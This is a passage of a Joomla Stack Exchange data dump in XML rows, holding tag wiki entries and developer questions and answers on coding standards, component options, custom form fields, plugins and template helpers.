  <row Id="31843" PostTypeId="5" CreationDate="2022-01-20T08:39:44.497" Score="0" Body="&lt;p&gt;A backup is a copy of your website (files + database) stored in a safe location, that can be used to recreate your website in case of an issue. A good backup is a tested backup.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-20T08:39:44.497" LastActivityDate="2022-01-20T08:39:44.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31844" PostTypeId="4" CreationDate="2022-01-20T08:39:44.497" Score="0" Body="A backup is a copy of your website (files + database) stored in a safe location, that can be used to recreate your website in case of an issue. " OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-20T08:39:44.497" LastActivityDate="2022-01-20T08:39:44.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31845" PostTypeId="5" CreationDate="2022-01-20T08:44:40.200" Score="0" Body="&lt;p&gt;Joomla core components and most non-core components use &amp;quot;Options&amp;quot; for its configuration settings. In some non-core components it's accessible via a back-end menu item.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-20T08:44:40.200" LastActivityDate="2022-01-20T08:44:40.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31846" PostTypeId="4" CreationDate="2022-01-20T08:44:40.200" Score="0" Body="Component Configuration is where you can configure the settings of a component. Usually it's accessible in the component back-end via &quot;Options&quot;." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-20T08:44:40.200" LastActivityDate="2022-01-20T08:44:40.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31847" PostTypeId="5" CreationDate="2022-01-20T08:46:28.367" Score="0" Body="&lt;p&gt;In Joomla the navigation is configured via Menu's and Menu Items.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-20T08:46:28.367" LastActivityDate="2022-01-20T08:46:28.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31848" PostTypeId="4" CreationDate="2022-01-20T08:46:28.367" Score="0" Body="Navigation is a user interface to help visitors to find content on a site." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-20T08:46:28.367" LastActivityDate="2022-01-20T08:46:28.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31849" PostTypeId="5" CreationDate="2022-01-20T08:52:38.070" Score="0" Body="&lt;p&gt;Joomla uses non-sef-urls with &lt;code&gt;option&lt;/code&gt; (the component) + &lt;code&gt;view&lt;/code&gt; (its view) + &lt;code&gt;id&lt;/code&gt; (the record with that ID), and can also have other &lt;code&gt;lang&lt;/code&gt; (language) and &lt;code&gt;Itemid&lt;/code&gt; (the active menu item, for active menu, bread crumbs, module assignment). An example: index.php?option=com_content&amp;amp;view=article&amp;amp;id=76&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-20T08:52:38.070" LastActivityDate="2022-01-20T08:52:38.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31850" PostTypeId="4" CreationDate="2022-01-20T08:52:38.070" Score="0" Body="non-sef-url is the inner URL structure of Joomla with parameters to trigger components, assigned modules and assigned templates." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-20T08:52:38.070" LastActivityDate="2022-01-20T08:52:38.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31851" PostTypeId="1" CreationDate="2022-01-20T09:48:08.010" Score="4" ViewCount="247" Body="&lt;p&gt;A general Joomla! coding question... Checking _JEXEC is defined.&lt;/p&gt;&#xA;&lt;p&gt;In administrator/components/.../src/everywhere it is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;use function defined;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Whereas in components/.../src/everywhere it's&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;\defined('_JEXEC') or die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a specific coding standard that we should use for Joomla! code?&lt;/p&gt;&#xA;" OwnerUserId="15191" LastActivityDate="2022-01-20T09:48:08.010" Title="Coding Standard Question - defined( or \defined(" Tags="|component|development|joomla-coding-standards|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31852" PostTypeId="2" ParentId="31851" CreationDate="2022-01-20T09:48:08.010" Score="4" Body="&lt;p&gt;I asked this on the Joomla! internal development chat and was told the second one is the optimised version currently in namespaced files.&lt;/p&gt;&#xA;&lt;p&gt;Richard, a lead Joomla! developer wrote &amp;quot;Backslash makes it clear it is looked for in the global namespace so less risk for name conflict and also a small optimization&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Benjamin, another lead developer wrote &amp;quot;from 7.0+ it then uses opcodes, which is the optimization, so most likely you should go for it also in non-namespaced files&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="15191" LastActivityDate="2022-01-20T09:48:08.010" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31853" PostTypeId="1" CreationDate="2022-01-20T22:24:54.397" Score="3" ViewCount="107" Body="&lt;p&gt;I'm working on a component, and within the component configuration I have a selector for the admin to choose the date format to use when displaying items.  It seems to me a perfect use-case for component config.&lt;/p&gt;&#xA;&lt;p&gt;So, within the view I'm retrieving the params from the component config, and assigning the selected date format to a variable.  Passing that variable to JText does nothing.  If I assign the constant to a variable (not from $this-&amp;gt;params-&amp;gt;get), it works fine also.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// works fine&#xA;echo Text::_('DATE_FORMAT_LC2'); // returns &amp;quot;l, d F Y H:i&amp;quot;&#xA;&#xA;// works fine&#xA;$dateformat = 'DATE_FORMAT_LC2';&#xA;echo Text::_($dateformat); // returns &amp;quot;l, d F Y H:i&amp;quot;&#xA;&#xA;// doesn't work&#xA;$dateformat = $this-&amp;gt;params-&amp;gt;get('dateformat','DATE_FORMAT_LC2');&#xA;echo $dateformat; // returns &amp;quot;DATE_FORMAT_LC2&amp;quot;&#xA;echo Text::_($dateformat); // returns &amp;quot;DATE_FORMAT_LC2&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I ended up using a switch statement for the whole list of available date formats.  I'm confused as to why the string works but the variable doesn't.&lt;/p&gt;&#xA;&lt;p&gt;Joomla 3.10.5&#xA;PHP 7.4.3&lt;/p&gt;&#xA;&lt;p&gt;Update:&#xA;I found that if I pass the params variable through trim() it works again.  So there's some kind of control character that's piggybacking on the variable from params-&amp;gt;get.&lt;/p&gt;&#xA;&lt;p&gt;Update2 for mickmackusa answer:&#xA;The field is defined in JPATH_COMPONENT_ADMINISTRATOR./config.xml (component options).  The value is actually different from the innertext, I just haven't come up with better descriptions yet.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field type=&amp;quot;list&amp;quot;&#xA;               name=&amp;quot;dateformat&amp;quot;&#xA;               label=&amp;quot;COM_CERTIFIED_CONFIG_DATEFORMAT_LABEL&amp;quot;&#xA;               class=&amp;quot;list_class&amp;quot;&#xA;               multiple=&amp;quot;false&amp;quot;&#xA;               filter=&amp;quot;WORD&amp;quot;&#xA;               default=&amp;quot;DATE_FORMAT_LC2&amp;quot;&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_LC&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_LC&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_LC1&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_LCONE&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_LC2&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_LCTWO&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_LC3&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_LCTHREE&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_LC4&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_LCFOUR&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_LC5&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_LCFIVE&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_LC6&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_LCSIX&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_JS1&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_JSONE&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_FILTER_DATE&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_FILTER_DATE&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;DATE_FORMAT_FILTER_DATETIME&amp;quot;&amp;gt;COM_CERTIFIED_CONFIG_DATE_FORMAT_FILTER_DATETIME&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Update 3:&#xA;Submitting the com_config for these component settings, I captured the form payload and found that the value is NOT being submitted with leading spaces.  This is the URL Encoded value in question (notice, no %20 spaces): jform%5Bdateformat%5D: DATE_FORMAT_LC2&lt;/p&gt;&#xA;&lt;p&gt;Update 4:&#xA;This is really fun.  If I change the field type to radio, the problem goes away.  The JSON value does NOT contain spaces and the returned value does NOT need to be filtered through trim() to be used.&lt;/p&gt;&#xA;&lt;p&gt;Of course, a radio field type is completely unusable with this many options, but it gives a direction to go for troubleshooting.&lt;/p&gt;&#xA;&lt;p&gt;At this point, I think I should cook up an example component and submit this as a bug to the project.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastEditorUserId="2066" LastEditDate="2022-01-22T03:15:15.910" LastActivityDate="2022-01-22T03:15:15.910" Title="Why can I not use a params variable for the JText translation constant?" Tags="|jtext|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="31855" PostTypeId="2" ParentId="8" CreationDate="2022-01-21T02:48:12.070" Score="4" Body="&lt;p&gt;For &lt;strong&gt;Joomla! 4.x&lt;/strong&gt; users: finding any updated files overridden in any extension easily.&lt;/p&gt;&#xA;&lt;p&gt;The update script of Joomla! will create/modify the icon &lt;strong&gt;Override(s) to Check&lt;/strong&gt; on &lt;strong&gt;Home Dashboard&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If clicked on this &lt;strong&gt;Override(s) to Check&lt;/strong&gt; icon it will display a page where all installed extensions are listed, and marked if any of them contains any overridden files which were updated/changed by the recent Joomla! update.&lt;/li&gt;&#xA;&lt;li&gt;Select the link of the extension marked by &lt;strong&gt;X Changes found&lt;/strong&gt; (quiet a bright, orange badge in the last column of the table on the page).&lt;/li&gt;&#xA;&lt;li&gt;Then on the extension page select &lt;strong&gt;Updated Files&lt;/strong&gt; tab on top.&lt;/li&gt;&#xA;&lt;li&gt;This will list all the overridden files used by this extension and recently updated by Joomla! - ie. the files most probably are not up-to-date in the extension.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now, you can compare your overridden files with the recently updated, original (core) files. And yes, if you have modifications inside these files, then you have to manually update them (except if a 3rd party extension creator provides automatic updates - as in this case the extension can be updated automatically too).&lt;/p&gt;&#xA;" OwnerUserId="16040" LastEditorUserId="12352" LastEditDate="2022-01-21T05:22:20.913" LastActivityDate="2022-01-21T05:22:20.913" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31857" PostTypeId="2" ParentId="31801" CreationDate="2022-01-22T04:25:46.393" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/users/168/lodder&quot;&gt;Lodder&lt;/a&gt; answer is certainly useful, but not what I wanted to see. The correct loading of the embedded jquery looks like this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$wa = Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;$wa-&amp;gt;useScript('jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will work if jquery has not been loaded before.&lt;/p&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2022-01-22T04:25:46.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31858" PostTypeId="1" CreationDate="2022-01-22T09:41:57.273" Score="1" ViewCount="71" Body="&lt;p&gt;I am developing a Joomla 4 Content Slider Module and it creates thumbnails in the mysite.com/cache/mymodule/ folder. I am trying to add a delete-thumbnails button. I am using a custom form field for the first time following this tutorial (&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;I have created a modules/mod_mymodule/admin/fields/cache.php in my module and added it to the xml file like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;advanced&amp;quot; addfieldpath=&amp;quot;/modules/mod_mymodule/admin/fields/&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;delete_thumbs&amp;quot; type=&amp;quot;Cache&amp;quot; label=&amp;quot;Delete Cached Thumbnails&amp;quot; description=&amp;quot;Delete Cached Thumbnails&amp;quot;   /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I have added the button and everything seems okay, but while creating the delete button, I have used 2 different input types. First added a form and input, then added another one without deleting first one. It is weird, but now when I deleted first submit button and tried to use the second delete button it throws me out of module settings. When both of them are there everything is okay. What am I missing?&lt;/p&gt;&#xA;&lt;p&gt;One more question: Might that way (using unlink command) cause a vulnerability?&lt;/p&gt;&#xA;&lt;p&gt;Here is my cache.php. As you see at the bottom there are 2 forms to submit button. When I remove the firs one (&amp;lt;form id=&amp;quot;formGoBack&amp;quot;), the second form button throws me out when clicked. I have hidden the first one as a solution.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;use Joomla\CMS\Router\Route;&#xA;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;if(isset($_POST['delete']) &amp;amp;&amp;amp; !empty($_POST['delete'])){&#xA;    //find the file&#xA;    $folder_path = JPATH_SITE .'/cache/mod_jt_contentslider';&#xA;   &#xA;    // List of name of files inside&#xA;    // specified folder&#xA;    $files = glob($folder_path.'/*.{jpg,png,gif}', GLOB_BRACE);&#xA;&#xA;    foreach ( $files as  $file){&#xA;        if(is_file($file)) &#xA;        {&#xA;            // Delete the given file&#xA;            unlink($file); &#xA;        }&#xA;    }&#xA;}&#xA;&#xA;class JFormFieldCache extends JFormField {&#xA;    protected $type = 'Cache';&#xA;    // getLabel() left out&#xA;    public function getInput() {&#xA;        return '&#xA;&amp;lt;form id=&amp;quot;formGoBack&amp;quot; action=&amp;quot;&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;formGoBack&amp;quot; class=&amp;quot;btn btn-primary&amp;quot; &amp;gt;&amp;lt;/input&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;form method=&amp;quot;post&amp;quot;&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; value=&amp;quot;delete&amp;quot; name=&amp;quot;delete&amp;quot; /&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Delete Images&amp;quot; /&amp;gt;&amp;lt;/input&amp;gt;&#xA;&amp;lt;/form&amp;gt;';&#xA;    }&#xA;}&#xA;      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16045" LastEditorUserId="16045" LastEditDate="2022-01-23T13:46:09.983" LastActivityDate="2022-01-23T13:46:09.983" Title="Delete Thumbnails Button Created as Joomla Custom Form Field Throws Me Out" Tags="|module|custom-field|custom-module|joomla-4.x|images|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31860" PostTypeId="1" AcceptedAnswerId="31885" CreationDate="2022-01-22T15:26:56.847" Score="0" ViewCount="151" Body="&lt;p&gt;EDIT: I shouldn't have asked this question. See my answer below.&lt;/p&gt;&#xA;&lt;p&gt;I have my own custom template on Joomla 4.0.6 with a simple scroll-to-top function.&lt;/p&gt;&#xA;&lt;p&gt;If I open edit an article on the front end, however, and select any function that results in a pop-up modal - e.g. media select in either Content &amp;gt; CMS Content or in the 'Images and Links' tab I get an error via the browser inspector saying:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Uncaught TypeError: scrollToTopBtn is null&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I understand partly why this is happening as the modal is in an iframe.&lt;/p&gt;&#xA;&lt;p&gt;When the modal is opened, the class &lt;code&gt;modal-open&lt;/code&gt; is added to the &lt;code&gt;body&lt;/code&gt; tag.&lt;/p&gt;&#xA;&lt;p&gt;So, I thought I'd wrap the JS in this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!document.querySelector('.modal-open')) {&#xA;  //my scroll-to-top script here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But it doesn't work. Any suggestions gratefully appreciated.&lt;/p&gt;&#xA;&lt;p&gt;It would also be great if someone could add 'Joomla-4x' to the Tags below.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="13040" LastEditDate="2022-01-29T16:20:42.177" LastActivityDate="2022-02-28T17:04:55.453" Title="How can I block a JavaScript script running when a modal is open?" Tags="|javascript|css|joomla-4.x|html|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31861" PostTypeId="1" AcceptedAnswerId="31872" CreationDate="2022-01-23T06:41:32.800" Score="1" ViewCount="64" Body="&lt;p&gt;I have this Joomla 4 installed website and I need a custom field(Editor type) for my product specifications which is going to be showing a table.&lt;/p&gt;&#xA;&lt;p&gt;For example, if I put this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;th&amp;gt;Company&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;Contact&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;Country&amp;lt;/th&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;Alfreds Futterkiste&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;Maria Anders&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;Germany&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;Centro comercial Moctezuma&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;Francisco Chang&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;Mexico&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;when I save it, it will convert the code to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;CompanyContactCountry&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Alfreds Futterkiste&amp;lt;br /&amp;gt;Maria Anders&amp;lt;br /&amp;gt;Germany&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Centro comercial Moctezuma&amp;lt;br /&amp;gt;Francisco Chang&amp;lt;br /&amp;gt;Mexico&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone know how to fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="16049" LastEditorUserId="12352" LastEditDate="2022-01-23T10:04:58.027" LastActivityDate="2022-01-25T10:01:07.073" Title="joomla 4 custom field auto text cleanup" Tags="|php|custom-field|joomla-4.x|html|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31862" PostTypeId="1" CreationDate="2022-01-23T06:45:01.620" Score="1" ViewCount="30" Body="&lt;p&gt;Hi I have a centos 7 server and a cwp 7 panel. I have the latest version of Joomla and WordPress installed on them. The size of uploaded files in Joomla is 2 MB. I increased the upload_max_filesize and post_max_size sizes through the php section of the cwp 7 panel. Unfortunately this extension did not apply to Joomla! I also restarted Apache but it did not change. I even changed the php.ini file manually, but this did not work in Joomla. (It is interesting that this increase is applied correctly in WordPress and there is no problem)&#xA;I did everything I could to increase the upload volume in Joomla, but the file size of the media section and the installation section of the Joomla plugin did not change!&#xA;please guide me&lt;/p&gt;&#xA;" OwnerUserId="16048" LastActivityDate="2022-01-23T06:45:01.620" Title="Upload volume changes do not apply to php.ini" Tags="|joomla-3.x|php|update|file-upload|profile|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31863" PostTypeId="1" AcceptedAnswerId="31867" CreationDate="2022-01-23T15:01:22.593" Score="0" ViewCount="65" Body="&lt;p&gt;I'd like to know how secure is the Note field in a Joomla Article? I'd like to put a Note in there just for the Joomla Administrator to see. Is there any likelyhood this could become visible elsewhere such as on the front end?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2022-01-24T15:55:11.760" Title="How secure is the Note field in a Joomla Article?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31865" PostTypeId="2" ParentId="29081" CreationDate="2022-01-24T10:54:36.983" Score="1" Body="&lt;p&gt;I too have come up against this problem and I can see three possible workarounds.&#xA;Firstly and most simply ensure that whenever you are getting parameters using&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$params = ComponentHelper::getParams('com_nonexistant',false)&lt;/code&gt; and then  &lt;code&gt;$params-&amp;gt;get()&lt;/code&gt; be sure to include a default option:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$params-&amp;gt;get('somevalue', 'fallbackDefault');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &amp;quot;false&amp;quot; second parameter to the getParams() is the default but include it to be specific, if true then the getParams() would return false and &amp;quot;get()&amp;quot; would return an error.&#xA;This does, of course, mean that you are having to enter your default values in two (or more) places - in the options.xml and in the php.&lt;/p&gt;&#xA;&lt;p&gt;The second, is to include in the install script a prominent button after install (or discover or update) to the Options page for the extension with a prompt to check the options and save them before proceeding. Not infallible, but it might help.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TadRO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TadRO.png&quot; alt=&quot;button created by the postflight script&quot; /&gt;&lt;/a&gt; The button links to &lt;code&gt;https://mysite.uk/administrator/index.php?option=com_config&amp;amp;view=component&amp;amp;component=com_mycomponent&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thirdly is to use the technique shown above by  mbrampton and mickmacusa, but rather than reading from a separate json why not simply read and parse the component xml file which will be available at &lt;code&gt;/administrator/components/mycomponent/config.xml&lt;/code&gt; by the time postflight executes. Then use the default values read to save as shown above&lt;/p&gt;&#xA;&lt;p&gt;That way you don't have to maintain a separate json.&lt;/p&gt;&#xA;" OwnerUserId="16053" LastActivityDate="2022-01-24T10:54:36.983" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31866" PostTypeId="1" CreationDate="2022-01-24T14:16:07.153" Score="1" ViewCount="94" Body="&lt;p&gt;I have a simple Joomla 3 plugin that works fine on backend for resizing images when uploading from multimedia manager:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class PlgContentProcesador extends JPlugin&#xA;{&#xA;    protected $allowedMimeTypes = array('image/jpeg', 'image/png', 'image/gif');&#xA;&#xA;&#xA;    public function onContentAfterSave($context, $article, $isNew)&#xA;    {&#xA;        if ($context == 'com_media.file') {&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage('Filepath: ' . $article-&amp;gt;filepath);&#xA;            if ($article-&amp;gt;type == 'image/jpeg' or $article-&amp;gt;type == 'image/png') {&#xA;                $orig_image = new JImage($article-&amp;gt;filepath);&#xA;                // 750 will be set accordind to image ratio depending on 1000&#xA;                $resized_image = $orig_image-&amp;gt;resize(1000, 750, true, JImage::SCALE_INSIDE);&#xA;                $resized_image-&amp;gt;toFile($article-&amp;gt;filepath);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I need to work the same on upload frontend in article submission, but when changing the context to com_content.form, nothings works. The variable $article seems not retrieve any data.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="16054" LastActivityDate="2024-02-14T14:07:10.793" Title="Simple Joomla plugin not working on frontend" Tags="|joomla-3.x|plugin|content-plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31867" PostTypeId="2" ParentId="31863" CreationDate="2022-01-24T15:55:11.760" Score="2" Body="&lt;p&gt;The &lt;strong&gt;front-end Article Edit form&lt;/strong&gt; in the Joomla core &lt;code&gt;/components/com_content/tmpl/form/edit.php&lt;/code&gt; renders the note field using &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('note'); ?&amp;gt;&lt;/code&gt; (Joomla 3 in line 109, Joomla 4 line 110). A user that has access to the edit forms, will be able to see the content of that field.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore &lt;strong&gt;the API in Joomla 4&lt;/strong&gt; &lt;code&gt;/api/components/com_content/src/View/Articles/JsonapiView.php&lt;/code&gt; retrieves that note field too. So if you re-use articles from your Joomla site via the API on other web applications/sites, the note field will be available and can be displayed on the other site/application.&lt;/p&gt;&#xA;&lt;p&gt;In case you use &lt;strong&gt;non-core extensions&lt;/strong&gt;: those might have the possibility of retrieving and displaying all kind of fields from your Joomla database and/or an article object.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-01-24T15:55:11.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31868" PostTypeId="1" AcceptedAnswerId="31881" CreationDate="2022-01-24T17:29:14.177" Score="2" ViewCount="1581" Body="&lt;p&gt;I'm having trouble with using a helper file in Joomla 4, I'm not really sure where I'm going wrong.&lt;/p&gt;&#xA;&lt;p&gt;I have a helper file in my template, like &lt;code&gt;templates/mytemplate/html/helper.php&lt;/code&gt; and this works well within my template, using &lt;code&gt;JLoader::register('myhelper', 'templates/mytemplate/html/helper.php');&lt;/code&gt; and &lt;code&gt;myhelper::testfunc(&amp;quot;hello&amp;quot;);&lt;/code&gt; sort of thing.&lt;/p&gt;&#xA;&lt;p&gt;Where I've hit a bump, is that I want to also use functions from this helper file elsewhere, for example, in a joomla console command.  When I use the same code in my console I just &lt;code&gt;Class not found&lt;/code&gt; errors.&lt;/p&gt;&#xA;&lt;p&gt;I've tried quite a few variations of &lt;code&gt;JLoader&lt;/code&gt;, like &lt;code&gt;registerPrefix&lt;/code&gt;, &lt;code&gt;registerNamespace&lt;/code&gt; and &lt;code&gt;setup&lt;/code&gt;, and some &lt;code&gt;use&lt;/code&gt; commands to pull in the namespace, with no luck.  I also tried moving the helper into a library, but that didn't work either.&lt;/p&gt;&#xA;&lt;p&gt;I think I'm missing something re Joomla 4 and namespaces, any ideas?&lt;/p&gt;&#xA;&lt;p&gt;Some code, to help explain...&lt;/p&gt;&#xA;&lt;p&gt;The template helper &lt;code&gt;templates/mytemplate/html/myhelper.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/**&#xA; * This is a helper file&#xA; * Usage:&#xA; * Register it like...&#xA; * JLoader::register('myhelper', 'templates/mytemplate/html/myhelper.php'); &#xA; * Call functions like...&#xA; * myhelper::tester(&amp;quot;hello&amp;quot;);&#xA; */&#xA;namespace Myhelper; # not sure about this bit&#xA;class Myhelper{&#xA;    /**&#xA;     * tester&#xA;     * @param string    test string&#xA;     * @return string   output string&#xA;     */&#xA;    public static function tester($test_value){&#xA;        return &amp;quot;tester says &amp;quot; . $test_value;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The console code &lt;code&gt;plugins/system/myconsole/src/Console/MyconsoleCommand.php &lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Call like...&#xA; * php cli/joomla.php myconsole:action hello&#xA; */&#xA;namespace Joomla\Plugin\System\Saaconsole\Console;&#xA;\defined('JPATH_PLATFORM') or die;&#xA;use 